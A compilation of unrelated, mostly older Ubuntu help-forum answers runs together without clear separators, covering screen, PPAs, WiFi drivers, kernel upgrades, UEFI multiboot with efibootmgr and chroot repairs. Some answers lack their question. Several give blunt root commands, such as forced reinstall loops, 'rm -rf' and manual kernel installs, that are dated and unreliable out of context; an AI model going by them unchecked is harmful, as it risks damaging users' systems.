How do I open a new terminal window to ssh into a new computer and execute commands?

Rather than opening up multiple windows and establishing multiple ssh sessions (to the same machine?), take a look at screen. You can ssh to a host, start screen and from there open multiple virtual consoles, one for each command you want to run.

What's really nice about screen, is that if you loose the ssh connection, you can create a new one and reattach to the running screen sessions. It's really cool. There is also tmux, which is a similar program (not sure how available it is on different Linuxes.

Ref: http://en.wikipedia.org/wiki/GNU_Screen


speed up bash script by starting several instances in a for loop

Try GNU Parallel.

sudo aptitude install parallel

I haven't used it in a while but its command line should be similar to the one below:

find ! -newermt "2016-02-13" -name "*svgz" | \
  parallel -j4 \
    inkscape \
    --verb FitCanvasToDrawing \
    --verb FileSave \
    --verb FileClose {} \
    --verb FileQuit

where 4 is the number of processes that you want to run at any given time.


You can try this method of installation and you may not face any issue:

  sudo add-apt-repository ppa:gnome3-team/gnome3-staging

  sudo add-apt-repository ppa:gnome3-team/gnome3

  sudo apt-get update

  sudo apt-get dist-upgrade

To install all the GNOME 3 apps:

  sudo apt-get install bijiben polari gnome-clocks gnome-weather
  gnome-maps gnome-music gnome-photos gnome-documents gnome-contacts
  epiphany-browser gnome-sushi gnome-boxes gnome-shell-extensions
  gnome-tweak-tool

copy paste these commands in terminal one-by-one.

NOTE:"The packages here have been deemed not ready for general use, they have known bugs and/or regressions, sometimes of a critical nature. Mostly things should run smoothly but be prepared to use ppa-purge, when you encounter issues"


From a dns leak test if you are connected to the net via a vpn the listed dns servers should all be the ones supplied by your vpn if there are other dns servers listed it means you have a dns leak if your not connected via vpn then don’t worry about them they are just the servers your isp’s dns sever was routed to.


Is TightVNC Already installed? Make sure that TightVNC is installed and that the firewall has the correct ports open.


Dell XPS 7590 Ubuntu 18.04 - No WiFi Adapter found

The Dell XPS 7590 ships with the Killer AX1650 WiFi module which, at the time of this posting, is not supported at install for Ubuntu 16.04+. After banging my head against the wall and contemplating reinstalling Windows to check if there was a hardware issue with the WiFi module, I finally stumbled upon the answer here.

The XPS 7590 is a beautiful machine, so I hope this helps someone.


Testing my raid array / is my mdadm raid working OK?

I hope that was a typo when you stated that the RAID members where formatted with ext3 before you added them to the array. Now you have a block device with two super blocks, one ext3 and one md. If say an fsck would be triggered, that raid member would be wiped out. The proper thing to do is dd zeros, use a partition that spans almost the entire disk, and tag it as type fd.

See post MDADM Superblock Recovery


Is it possible to have apps installed on a separate drive from where the OS is installed?

If you want that kind of setup you need to stick with snap and flatpak versions of software (IOT). Some software already will be installed using snap. Ubuntu is heading the way you want it to go.

The old method of installing software in Linux is a method with the least overhead. So if more than 1 piece of software needs a package only the 1st install will need to install that package and the other installations happily will share it. In Windows each piece of software will also install its own parts independent of other software.

Our method saves disk space but that also means we scatter files across different directories making it very difficult to sandbox software.

  could I just mount the SSD partition to /usr?

That used to be the way to do this BUT it is not enough. MySQL stores its database by default in /var/. Apache user  /var/ for its default directory. /etc/ is used to store settings. And so on. There is no nice method to restore a /usr/ into a new installation or to use it across different Linux installations so it looks nice to do but there is nothing to benefit from a /usr/ partition.


"ImportError: No module named _struct" configuring python-minimal

Follow the solution by Soroosh. Broken python (2.7) after manually building and installing python 2.6

Enter sudo -i for root access.

Paste the command and wait about 20 minutes.  Runs perfectly.

for pkg in $(dpkg --get-selections | egrep -v 'deinstall' | egrep python | awk '{print $1}'); do  apt-get -y --force-yes install --reinstall $pkg ; done


Question 1:
It's not really necessary, but a separate home partition can make life much more easier. Just make sure that it's an ext4 (or similar) formatted file system on your HDD. Performance should not be an issue in most day-to-day use cases.

Question 2:
If you're new linux, don't try to translate windows concepts to Ubuntu, etc. It'll cause much confusion and frustration. In Ubuntu (and other distributions), if you install software from the provided repositories (via apt or dpkg in this instance), you don't get to decide where the software will be installed to, since this is already determined in the package itself.


You can go back from full-screen mode in a VirtualBox guest OS by pressing the keyboard shortcut Right Ctrl+F. Note that the main menu bar is hidden in full-screen mode. You can access a popup menu that has the main menu bar's entries (as shown in the 2nd screenshot) by pressing Right Ctrl+Home.

To reenable the Toolbar in the VirtualBox application right-click on the bottom panel and check the checkbox next to Show Toolbar as shown in the following screenshot.


Two things are comming to mind, the first is permissions and the second false path to image.

You could try only for testing purposes to:

give ownership to Apache i.e: chown -R www-data:www-data where www-data the Apache user and group.
use hardcoded path to image i.e:  <img src="/opt/lampp/htdocs/madeTemplet/basicTemplet/_images/1_full.jpg"...

Hopefully you will be able to find the problem.

Rebember to revert the changes after testing acoordingly.


Wifi Extremely Slow in Ubuntu 16.04 with Intel Centrino Wireless N 1000

I would change the channel the wifi router is on to channel 9, then I would disable wifi power management with
sudo sed -i 's/wifi.powersave = 3/wifi.powersave = 2/' /etc/NetworkManager/conf.d/default-wifi-powersave-on.conf
systemctl restart network-manager.service

You may also benefit from enabling aggressive TX in the iwlwifi module with

sudo modprobe -r iwlwifi
sudo modprobe iwlwifi 11n_disable=8

If there is no improvement with that setting you can just reboot for it to return to the default setting


How can I view VR (virtual reality) 3D Video on a standard 2D screen in Ubuntu?

One way would be to obtain the GoPro VR Player which is currently available free in a deb package here The latest version available for Linux is 2.3.1 - 2017-05-19 which is distributed under v.2.1 or any later version of the GPL at your option It's built on libvlc. This version doesn't seem to require monkeying with any settings to get good results. You can toggle fullscreen simply by pressing F and although videos launch dead center split, simply hitting the <- or -> key or selecting Camera -> Left or Right from the menu will give you a 2D view of the 3D video.

Direct link to 64 bit deb package (37.55MB)
Tested on Ubuntu 16.04.3 kernel 4.4.0-112

Another way to accomplish this is to re-encode utilizing ffmpeg and the  stereo3d filter which was designed for this purpose.

Here's an example:

ffmpeg -i input.mkv -vf stereo3d=sbsl:mr -metadata:s:v:0 stereo_mode="mono" output.mkv

This results in a 2D (right eye only) output.mkv file.

The stereo3d filter is controlled via InputType:OutputType as described in great detail in the stereo3d filter documentation

In the above example sbsl indicates that the InputType is side by side parallel (left eye left, right eye right) and the mr indicates that the OutputType should be mono output (right eye only)

The reason -metadata:s:v:0 stereo_mode="mono" is included on the command line is to remove the stereo tag because the metadata isn't piped through the filter system, and ffmpeg otherwise tries to duplicate the metadata of the original. Failure to include this can cause some players identifying the resulting video as 3D resulting in weirdness.

You can then view the resulting file with your favorite 2D video player.

Sources:

https://video.stackexchange.com/questions/21084/how-to-convert-a-3d-movie-to-2d-using-ffmpeg

https://ffmpeg.org/ffmpeg-filters.html


my laptop hangs simultaneously while working. Please need help

Finally I got the answer after searching online.
First I checked my kernel. You can check your kernel in terminal by typing this command uname -r my kernel was 4.4 so I updated my kernel to 4.7.5 and it worked. Since I have updated my kernel my problems are resolved. My laptop did not hanged since last 2 days. You can find the below commands to update kernel from 4.4 to 4.7.5.

My system details and my kernal details

For 64-Bit Systems

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-headers-4.7.5-040705_4.7.5-040705.201609240533_all.deb

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-headers-4.7.5-040705-generic_4.7.5-040705.201609240533_amd64.deb

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-image-4.7.5-040705-generic_4.7.5-040705.201609240533_amd64.deb

$ sudo dpkg -i linux-headers-4.7.5*.deb linux-image-4.7.5*.deb

sudo reboot

For 32-bit systems

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-headers-4.7.5-040705_4.7.5-040705.201609240533_all.deb

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-headers-4.7.5-040705-generic_4.7.5-040705.201609240533_i386.deb

$ wget kernel.ubuntu.com/~kernel-ppa/mainline/v4.7.5/linux-image-4.7.5-040705-generic_4.7.5-040705.201609240533_i386.deb

$ sudo dpkg -i linux-headers-4.7.5*.deb linux-image-4.7.5*.deb

sudo reboot

I hope this helps to newby and others who are facing the same problems like me.


Cannot hit the 'OK' button - E: Unable to acquire the dpkg frontend lock - Software center probable issue

From /var/lib/dpkg/info/ttf-mscorefonts-installer.postinst you can find the value to pre-accept the EULA

# if the license was not accepted, ensure the fonts are removed
# and add README with helpful information
 FONTDIR=/usr/share/fonts/truetype/msttcorefonts
 mkdir -p $FONTDIR
 license=mscorefonts-eula
 db_get msttcorefonts/accepted-$license
 if [ "$RET" != "true" ]; then
     echo "user did not accept the $license license" >&2
    rm -f $FONTDIR/*.ttf
    cat > $FONTDIR/README <<EOF
License refused.

So we can use the debconf-set-selections utility:

echo ttf-mscorefonts-installer msttcorefonts/accepted-mscorefonts-eula select true
| sudo debconf-set-selections
sudo apt-get install ttf-mscorefonts-installer

Then install:

sudo apt-get install sublime-text-installer


Unable to trash folder: Permission denied from /opt directory

Try with

sudo rm -rf /opt/lampp/htdocs/xampp/dhiva


How to scroll like a normal windows when I am using screen

If you are talking about tty's, you can use Shift + PageUp and Shift + PageDown buttons.


Ubuntu 12.04 does not recognize a partition resize made with Gparted... what next?

For the record, I finally solved it: Logical Volume Manager (LVM) was having an argument with Gparted (Gparted thought there was now only one large partition after expanding /root to fill the whole drive, LVM didn't recognize the change Gparted had made).  I went into LVM, and, closing my eyes tight and believing hard in fairies, told LVM to "Edit the Properties" of the "unused space" to match what Gparted had done, and it worked!  I now have access to the whole drive.  I hope this helps somebody else in the same mess.


How to automatically expand location with File Open dialog?

Display path once
From the breadcrumb view in both Nautilus (top), and Thunar (bottom) we can temporarily disable breadcrumb view by pressing Ctrl + L:

The path will aready be selected ready for copy & paste.

Disable Nautilus breadcrumbs
We can set the default behaviour for Nautilus using dconf-editor when dconf-tools  are installed. Browse to org.gnome.nautilus.preferences and tick always-use-location-entry to display the path rather than the breadcrumbs view:

Alternatively you can simply execute this command in a terminal:
gsettings set org.gnome.nautilus.preferences always-use-location-entry true

After that Nautilus will display the current location in a path view:

The file selector will then also have the additional line to add the path which also will be shown on Ctrl + L or clicking the pencil (see above):

Untick the option to switch back to breadcrumb view.

For older Ubuntu releases using gconf-editor browse to apps -> nautilus -> preferences and untick always_use_location_entry (see this question).

To my knowledge we can't change the default behaviour in Thunar.


How do I create a RAID5 at installation of Ubuntu 12.10?

This is for Ubuntu Server, but hopefully these will apply:
https://help.ubuntu.com/12.04/serverguide/advanced-installation.html
http://forevergeeks.com/setup-ubuntu-server-with-raid-5/

Edit: One idea is that you could install Ubuntu Server as shown in the links above, and then install the desktop packages afterwards.

Edit 2: Read this: http://news.softpedia.com/news/Canonical-Drops-Alternate-CDs-from-Ubuntu-12-10-289338.shtml It addresses your problem.


Ubuntu12.04 is not booting after connecting DVD Player. Please help

When you boot your computer, enter the BIOS
Make sure that the 1st boot device isn't set to the DVD player.
Ensure the 1st boot device is set to the hard drive that your OS is installed on. (If you have only one hard drive then your job is made that much easier)


Turning off other computers in your network using ping and tracerout

You can shutdown the computers remotely via ssh. Make sure you have openssh-server installed on the remote computer you want to connect.

if not then type:

sudo apt-get update

and after

sudo apt-get install openssh-server -y

Now open the Terminal in the client computer and type the command below for a computer you want to connect to.

ssh user1@ip-address-of the-computer  and hit enter.

note : Please note that the user1 is the username and ip-address should be the ip of the host you want to connect to (remote machine in this case)

Now it will ask for the password for user you are trying to access as, on the remote computer.Prompt will ask you if you want to add the ssh key, say Y(es).

You should have something like user1@ubuntu-server where ubuntu-server is an example of the remote server hostname and user1 is the user who's account exists on that machine.

Be the root on the server or type

sudo init 6    #this will restart the remote computer your are ssh'd in

or

sudo init 0   #ths will shutdown the remote computer.

You can also use "Putty" on windows to establish an ssh session.

I hope this helps! Good Luck.


Ubuntu 12.04 automatically boots, no GRUB menu

You need to change the time out interval to boot into windows.

gksudo gedit /etc/default/grub

change

GRUB_TIMEOUT=0

to

GRUB_TIMEOUT=7

then save and run:

 sudo update-grub

then reboot


How to configure xstartup for Ubuntu Budgie?

I ran into the exact same issue, turns out if you try to start budgie-wm from a xterm running inside the VNC, it tells you that tight VNC doesn't support RANDR.

I uninstalled that and installed tigerVNC (which is I believe the community continuation of tightVNC), which does support RANDR. Works flawlessly now.


Mysql PDO/MySqli Connect From Linux Host

Thanks so much for all the assistance.  It seems that the host I was using for my database for almost 4 years has decided to lock down the 3306 access to workbench and remote access.  No notification of this.

They have decided that the attack rate on the MySQL is too high.  Now only local host and same host websites work there.  This is strange though, because all my other projects and workbench still connect.  I have argued this with them, but they insist.

I will have to move the database elsewhere.

I did a test this morning on a different host. All worked perfectly.

Thanks again for all the assistance.


How to install the right-click photo-resizer on Ubuntu 18.04

How to Install Resize Images with Right Click

This instruction follows this tip.

First verify that you have nautilus as file manager:

nautilus --version

The output should be something like Gnome nautilus 3.26.3

Second install ImageMagick

sudo apt install imagemagick

Then simple install the nautilus-image-converter

sudo apt install nautilus-image-converter

When installation has completed, restart nautilus by using the command

nautilus -q

Open nautilus and right click on an image file. Select Resize Images ... and a window should open like the on below.

To uninstall simple type

sudo apt remove nautilus-image-converter


An alias is a short cut for a command , but what you want is a variable.

Add this to ~/.bashrc

export repo='your_url'

Then source your .bashrc or log into a new terminal and run

svn co $repo

For additional information see http://tldp.org/LDP/abs/html/aliases.html

Basically an alias is a full command and you are using it as a variable.

You could of course write an alias or a function

alias mysvn='svn co your_repo'

You would then run

mysvn

but it is likely a variable is more in line with what you want.


"PRIME Profiles" tab missing in nvidia-settings (Ubuntu 18.04, GeForce Mx150, nvidia-driver-440)

You likely have an issue with conflicting driver packages from multiple repositories. This can be tricky if you are using CUDA.

Open a terminal like konsole and then select the desired GPU as shown below. Use nvidia for high performance or intel for increased battery life.

sudo su -
prime-select query  # show options
prime-select nvidia # select nvidia gpu
prime-select intel  # select intel gpu
reboot

One should reboot immediately after switching graphics to avoid artifacts and glitches.


Error while creating environment variable

Since it happened every time you logged in, it should be on in one of the startup scripts. Which might be:

.profile
.bashrc

please execute the below two commands

grep "/usr/games" ~/.profile
grep "/usr/games" ~/.bashrc

and see if one of those files holds similar line to the error you are facing.

I guess, that the original line was something like:

export PATH=/usr/sbin/sendmail:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Once you'll find the source of the problem, you'll have to decide if you want to remove this line, or update it (e.g. by setting those values into the relevant variable)


Why do some PDFs have such ugly fonts in Document Viewer?

My guess is that you see this behavior only for some documents, right?

In that case I think that you see output from an old LaTeX version with standard LaTeX bitmap fonts. I have found the document that you are showing and the fonts are non-aliased also on my system -- although I know that regular documents look perfect. It's also non-aliased under Windows, so there.


How do I create a multiboot environment using LVM for your *buntu operating systems on a GPT formatted system drive, in a UEFI based system?

NOTE: This was the OP's answer.  I moved it down here as CW so it didn't get closed.  If a mod sees this, please reparent ownership to the OP as a self-answer.

Below, I will detail how to get this all to work somewhat harmoniously and to sort the mess out, to some extent.

Part One: Installing.

Please note that if you are going to have Windows 7 (or 8?) installed on your machine, you'll probably have to install it first, preferably on it's own hard drive, and you won't be able to put it in your logical volume group. This is because the Windows 7 GPT/EFI installer is very basic and won't let you do the sorts of things you'll be doing here. After the windows install, you can resize and repartition, adding the partitions you need for a multi-boot install. The EFI system partition which Windows creates can always be re-used for the Linux installs, using a variation of the method detailed below.

Firstly, it helps to wipe your intended system drive using gparted (or the like) and initialise it as a GPT disk, before doing anything else. If you're a bit nervous about using a non-graphical partitioner to set up your disk from scratch, then this is definitely worthwhile and is easly done from a standard live Desktop USB or CD installer. Don't do it in Windows. I'm not sure that this is absolutely necessary, but it's what I did. You can also carry out the basic partitioning for the non-LVM partitions at this stage too, as it wouldn't hurt and gives you a framework for the installation proper.

Now burn your installation CDs/USBs. If you are using the Ubuntu Alternate Desktop ISO (recommended), then you must burn this onto a CD, as it simply will not work off of a USB stick. When used for an LVM install, it stops with a critical error when it tries to start loading and installing software with aptitude/tasksel, so use a CD if you know what's good for you!

Ubuntu Server installs absolutely fine from a USB in all cases (AFAIK), but I find that if I want to build an Ubuntu/Mythbuntu desktop system on top of Server, it introduces all sorts of unintended quirks which then need time spent sorting out. So stick with Desktop, if that's what you're after.
Quantal (12.10) has LVM as an option in the graphical installer (which is great!) and so the Alternate ISO has been done away with. However, I found the manual partitioning interface inflexible, lacking in LVM options, and simply did not work for multi-boot. This may have been due to the USB problem mentioned earlier, but to be honest, I had so many problems with a Quantal system I tried, that I gave up pretty quickly and went back to Precise (12.04.1).
The other main option is to use the Net-boot installer, which I don't have any real experience of (except on my Raspberry Pi), but I believe that there are mini ISOs with text-based and GUI (GTK) installers, which can be burnt and booted from. These pull most of the installation files directly from a repository and are highly customisable.

Next, you should boot up your system from CD or USB using it's UEFI boot entry from within "BIOS" or the boot menu (usually one of [F8] - [F12] on the keyboard).

I'll leave it up to you to get through preliminaries of the installation process, but once you get to the partitioning part, choose Manual Partitioning and then create (or modify if you have already created some of them) these partitions:

A single partition of size 200MB, FAT32, EFI System Partition, named/labelled "EFI", Boot-able, Format.
Several partitions: Sized 256MB, EXT2, Boot-able, Format;

You should name/label them each for the OS they will represent, i.e. "OS_01_Boot"..."OS_03_Boot"...etc.
Start by mounting the first of these as "/boot" and all the others as "do not use".
Create one partition for each OS that you intend to install.

One partition, taking up the rest of the space of the drive, as a volume for LVM.

Configure LVM on the volume that you have just partitioned, creating a volume group for all of your OSes, giving it a suitable name and plenty of space for all of them. I'd recommend factoring in at least 40GB for each, depending on the type of installation you're planning for each one.

Create one logical volume the same size as the physical RAM in your system i.e. 8GB, name it "Swap", use as swap, format.
Create one logical volume for each of the OSes within the volume group, sizing them as suggested above and giving them each a name i.e. "Ubuntu_12.04" etc.

Format each to EXT4, naming/labelling the partitions as you go.
Start by mounting the first of these as "/" (root) and all the others as "do not use".

That's it! Now you've got a swap, "/boot" and "/" (root) partition for your system and spares for your subsequent installations. You can now commit the changes to the partition table and continue with the rest of the installation.

When it comes to installing your next OS, just make sure that you mount the next "/boot" and "/" (root) partition, respectively. Please make sure that you mark all the others as "do not use", including the ones that you used last time.

Part Two: Backing up UEFI boot files.

As soon as you have booted into your new OS, you must backup your UEFI boot-loader for later use and to make sure that it is not overwritten in the next install. This can be found in "/boot/efi/EFI", within its own folder, usually named "ubuntu". The file in question will have a name similar to "grubx64.efi", depending on the architecture of your PC; so "/boot/efi/EFI/ubuntu/grubx64.efi", for my machine.

In my case, to back it up I copied it via the console, like so:

sudo cp -r /boot/efi/EFI/ubuntu /boot/efi/EFI/Ubuntu_12.04.1

It would definitely be worthwhile making a further copy in your home folder or somewhere else safe, just in case:

cp -r /boot/efi/EFI/ubuntu /home/user/Ubuntu_12.04.1

Once this is done, you can safely install your next operating system (following the advice above), which will most likely overwrite the original file and folder and also make itself the default UEFI boot entry in "BIOS". Repeat the process again and as many times as is necessary, giving each folder a different, but representative name:

sudo cp -r /boot/efi/EFI/ubuntu /boot/efi/EFI/Server_12.04.1
cp -r /boot/efi/EFI/ubuntu /home/user/Server_12.04.1

Part Three: Modifying the UEFI entries in your UEFI "BIOS".

From the terminal, enter:

sudo efibootmgr

You should get some output like this:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0000,0006,0007,0005
Boot0000* ubuntu
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive

It's pretty self-explanatory, really. It should mirror what you see in your BIOS boot list.

Have a read of:

man efibootmgr

to see what the commands do, then modify the example commands below in order to add and remove boot entries.

First, remove that "Boot0000* ubuntu" line with:

sudo efibootmgr -b 0000 -B

Output:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0006,0007,0005
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive

Then we'll add some entries for three operating systems.

OS #1:

sudo efibootmgr -c -g -d /dev/sda -p 1 -w -L "Ubuntu 12.04.1" -l \\EFI\\Ubuntu_12.04.1\\grubx64.efi

Output:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0000,0006,0007,0005
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive
Boot0000* Ubuntu 12.04.1

OS #2:

sudo efibootmgr -c -g -d /dev/sda -p 1 -w -L "Ubuntu Server 12.04.1" -l \\EFI\\Server_12.04.1\\grubx64.efi

Output:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0001,0000,0006,0007,0005
Boot0000* Ubuntu 12.04.1
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive
Boot0001* Ubuntu Server 12.04.1

OS #3:

sudo efibootmgr -c -g -d /dev/sda -p 1 -w -L "Mythbuntu 12.04.1" -l \\EFI\\Mythbuntu_12.04.1\\grubx64.efi

Output:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0002,0001,0000,0006,0007,0005
Boot0000* Ubuntu 12.04.1
Boot0001* Ubuntu Server 12.04.1
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive
Boot0002* Mythbuntu 12.04.1

To change the boot order:

sudo efibootmgr -o 0000,0001,0002,0006,0007,0005

Output:

BootCurrent: 0000
Timeout: 3 seconds
BootOrder: 0000,0001,0002,0006,0007,0005
Boot0000* Ubuntu 12.04.1
Boot0001* Ubuntu Server 12.04.1
Boot0002* Mythbuntu 12.04.1
Boot0005* Hard Drive
Boot0006* UEFI: MATSHITABD-MLT UJ240AS
Boot0007* CD/DVD Drive

Done!

There's some pretty strange syntax involved, especially around the file paths, but it's pretty straightforward if you have a good guide (which I hope this is).

Thanks for reading. :)

https://wiki.archlinux.org/index.php/Unified_Extensible_Firmware_Interface#efibootmgr


How to install DraftSight on Ubuntu 64bits?

To easily install and run DraftSight CAD in 64 bit Ubuntu you need to install several i386 packages:

sudo apt-get install libuuid1:i386 libice6:i386 libsm6:i386 libxt6:i386 libaudio2:i386 libgtk2.0-0:i386 libcanberra-gtk-module:i386 libcanberra-gtk0:i386 libglu1-mesa:i386

Then just open the dash to start the application:


I had this same issue when upgrading from 16.04 to 18.04. For me it was related to Ubuntu switching from Xorg to Wayland.

When booting Ubuntu it was starting a Wayland session, but my user session was still configured to use Xorg from my 16.04 install, causing the double login scenario when it switches to Xorg. I was able to fix the issue by setting my user session to use Ubuntu on Wayland


If you don't want to connect remotely to your DB from another host, you can just bind your mysql process to listen from only localhost 127.0.0.1, or yes you can close that port from firewall.


Deploying Openstack on top of Juju+MAAS setup

You'll want to make sure you are using the latest installer bits to make use of installing Openstack on top of an existing MAAS:

http://www.ubuntu.com/download/cloud/install-ubuntu-openstack

During the installation you will have the opportunity to choose a Multi installation with an existing MAAS. It will prompt you for your MAAS server ip along with the apikey of your MAAS admin user.

Once this is set it'll bootstrap juju onto your existing MAAS deployment and provide you with the ability to manually place your Openstack services or automatically apply services to your existing machines with sensible defaults for quickly getting you up and running with Openstack.


Where is the bash history for the root user saved?

Well, when you're logged in as root, the bash history is saved in /root/.bash_history file, where /root is the default home directory for root user. To prove this, run the following command when you are logged as root:

echo $HISTFILE

  The $HISTFILE variable points to the file that contains your history.

  Source: $HISTFILE

Generally when you log into another user account, the bash history will be saved in a file called .bash_history located in the home directory of that user.

Furthermore, if you want to save the bash history for the root user in another file, let say in .bash_history file from my home directory, you have to edit /root/.bashrc file, and add a new line at the end of file with the following content:

HISTFILE="/home/username/.bash_history"       #change username with your user name


HP have a trouble-shooting area on their hplip site

http://hplipopensource.com/node/332

they suggest hp-check

hplip says it only needs 3.13 version and no plug-in needed: current ubuntu has 3.16.3 of hplip


Why does my budgie applet not display in the budgie-panel?

I spot a typo!

def do_get_panel_widged(self, uuid):

It should be:

def do_get_panel_widget(self, uuid):

What is happening is that the typo version is just defining a function.  Implicitly do_get_panel_widget is being called but it is a stub function so the applet will never appear.

With the correct name - you are now overriding the inbuilt stub function and calling out to your new applet code.

Secondly in your example you are missing a .plugin file - you need this to allow the module to run.  The plugin file is this format:

[Plugin]
Loader=python3
Module=test
Name=test
Description=test description
Authors=your name
Copyright=© 2018 email address
Website=https://your-website.com
Icon=we-prefer-symbolic-icons-symbolic

Thirdly:

Don't have a Gtk.main() at the end of you main module - that just confuses a Peas based plugin - delete it

Fourth:

Use a Gtk.EventBox() to add your applet in - it is how budgie-desktop 10.4 plugins should now be written - example code below

    self.button = Gtk.ToggleButton.new()
    self.button.set_relief(Gtk.ReliefStyle.NONE)
    self.button.set_active(False)
    self.button.set_tooltip_text("Apple Menu")
    box = Gtk.EventBox()
    box.add(self.button)
    self.add(box)
    self.button.connect("clicked", self.button_clicked)
    box.show_all()
    self.show_all()

def button_clicked(self, *args):

Fifth:

Notice the button_clicked event is missing an argument - clicked events  in GTK pass the button itself to the signal handler

Lastly - which I havent corrected for you - your clicked function has an uninitialised dialog - and you appear to want to display a Gtk Dialog. Don't!  You will block the main thread of the panel.


Unable to install libopencv-nonfree-dev in Ubuntu 16.04

I had some success with this alternative PPA. For completeness, I removed the other one first. I also had to reinstall the main OpenCV package.

sudo add-apt-repository --remove ppa:xqms/opencv-nonfree
sudo add-apt-repository --yes ppa:jeff250/opencv
sudo apt-get update
sudo apt-get install libopencv-dev
sudo apt-get install libopencv-nonfree-dev


This is a complete guess, but in my experience the symptoms you describe may have nothing to do with your video card. I'm referring to your description that the frame-rate is cool, and then suddenly things stutter.

To be on the safe side, use system monitor or something similar just to check if your not peaking out your resources (cpu, memory, disk).

I'm not saying it's not your video card, but just make sure everything else is fine.

Apologies for not being able to give better advice.


Whoever faces this issue please try to install Ubuntu 19.04. it worked for me


I do not believe the STA driver is correct. Please obtain a temporary internet connection, open a terminal and do:

sudo apt-get purge bcmwl-kernel-source
sudo apt-get update
sudo apt-get install firmware-b43-installer

Reboot and tell us if your wireless is working.


My suggestion is to use native applications like Gnu/Linux.

Cuckoo Sandbox

Is a modular, automated malware analysis system. Running from command-line on a Linux or Mac host, it uses python and virtualization (VirtualBox, QEMU-KVM, etc) to create an isolated Windows guest environment to safely and automatically run and analyze files to collect comprehensive file behavior analysis. These results outline what the malware does while running inside an isolated Windows operating system, including Win32 API calls, files created/deleted, memory dumps, network traffic trace, screenshots of execution behavior, and full memory dumps of virtual machines.

Download Page
Documentation [1] [2].

Firejail

Is a SUID security sandbox program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces. It allows a process and all its descendants to have their own private view of the globally shared kernel resources, such as the network stack, process table, mount table.

Download Page
Project Page

R&S®Browser in the Box (formerly BitBox)

The Virtual Environment for secured and comfortable Web Browsing: On the basis of a “Browser-in-the-Box” concept a virtual machine is provided with a reduced operating system and a web browser encapsulated therein. Malware can’t thus penetrate the host operating system and potential damage in the separated virtual machine will vanish with each start of the browser by returning to a certified starting point. All of that is fully transparent to the user. Is basically Firefox in a Virtual Machine.

Download Page

Source: https://alternativeto.net/software/sandboxie/


Change gnome panel hiding sensitivity Ubuntu 10.04

The tool you need to install is the compiz config settings manager (sudo apt-get install compizconfig-settings-manager). Once installed go to the Unity plugin (use the search box on the upper left) and click on the experimental. The setting you want is the Launcher Reveal Pressure I think.


Which windows version is best compatible with wine?

From the WineHQ - About Wine page:

  Wine began in 1993 under the initial coordination of Bob Amstadt as a
  way to support running Windows 3.1 programs on Linux. Very early on,
  leadership over Wine's development passed to Alexandre Julliard, who
  has managed the project ever since. Over the years, as the Windows API
  and applications have evolved to take advantage of new hardware and
  software, Wine has adapted to support new features, all while being
  ported to other OSes, becoming more stable, and providing a better
  user-experience.

From that it sounds like there really is no specific version of Windows that WINE is based off of.

However, if you run wine regedit and then navigate to HKEY_LOCAL_MACHINE > Software > Microsoft > Windows NT:

and select the CurrentVersion key:

you'll see a registry string titled ProductName.

In my case, running Wine 1.6.2, the value for ProductName is Windows XP. Then, looking at the CSDVersion string's value, you'll notice that it says Service Pack 3.

Thus, your safest bet would most likely be that Wine is most similar to Windows XP (Service Pack 3).

EDIT

I've discovered something else in WINE. If you install winetricks and then open it up, then click on Select the default wineprefix:

Then click Run winecfg:

You can change the version of Windows that WINE, I guess, emulates? You can change the displayed Windows version at the very least:


Problems connecting to wifi on Lubuntu 14.04

Your Broadcom requires firmware. Please download the file b43.zip from post #16 here: https://ubuntuforums.org/showthread.php?t=2320529&page=2&highlight=b43.zip Transfer it to the desktop of the Ubuntu machine. Right-click it and select 'Extract Here.'

Next, in the terminal:

sudo mkdir /lib/firmware/b43
sudo cp Desktop/b43/* /lib/firmware/b43
sudo modprobe -rf b43
sudo modprobe -rf ssb
sudo modprobe b43

Run each command one at a time and press Enter after each.

It may take a reboot. You should see your network at the Network Manager icon. Click on it, supply the password and connect.


Grub Customizer inconsistent with actual boot menu


Install package to Ubuntu 16.04 installation while booted into live cd

It's difficult to speak to the exact situation with xserver-xorg-input-all, however, I can show how to install packages on an installation booted from a live image.

I tested this with a Xubuntu 17.04 VM.

Summary of steps

Boot from a compatible live image, preferably the one you installed from.
Mount the root volume of the installation.
Bind mount /dev, /proc, and /sys inside the root volume mount.
Bind mount /run if /etc/resolv.conf is a symlink to /run/resolvconf/resolv.conf. This is required on Ubuntu 17.04, but I'm not sure if it is on 16.04. This is required for DNS name resolution.
chroot into the mounted file system.
Install, uninstall, or configure as needed.
Reboot into installation.

Actual commands

The device you're mounting in the first command will need to be adjusted to match your installation's root volume.

mount /dev/xubuntu-vg/root /mnt
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
mount --bind /proc /mnt/proc
mount --bind /run /mnt/run # if needed, as noted above
chroot /mnt
apt install gnucash # or whatever you need

Wrap up

I was able to install gnucash, an application I did not previously have installed and which has many dependencies. After a reboot, GnuCash was installed and functional.

Note that I did not update the cache with apt-get update before installing, this was intentional because I knew my cache on the installation was up-to date enough. Depending on your situation, updating the cache may be necessary.


Keyboard layout on Ubuntu won't go away!

Apparently setting the keyboard layout you wish to use when logging in solves this problem.

When logging in, as you are about to enter your password in GDM, there is a discreet menu option on the toolbar at the bottom.

